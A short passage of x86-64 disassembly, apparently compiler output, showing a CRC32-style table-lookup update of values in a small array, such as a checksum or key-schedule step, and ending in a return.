mov ecx, 4
imul rcx, rcx, 1
mov rdx, qword [rsp + 8]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 2
mov ecx, 4
imul rcx, rcx, 1
mov rdx, qword [rsp + 8]
mov ecx, dword [rdx + rcx]
shr ecx, 0x18
mov rdx, qword [rsp + 8]
mov eax, dword [rdx + rax]
xor eax, ecx
and eax, 0xff
mov eax, eax
lea rcx, [0x1800ad0f0]
mov edx, 4
imul rdx, rdx, 2
mov r8, qword [rsp + 8]
mov edx, dword [r8 + rdx]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov ecx, 4
imul rcx, rcx, 2
mov rdx, qword [rsp + 8]
mov dword [rdx + rcx], eax
ret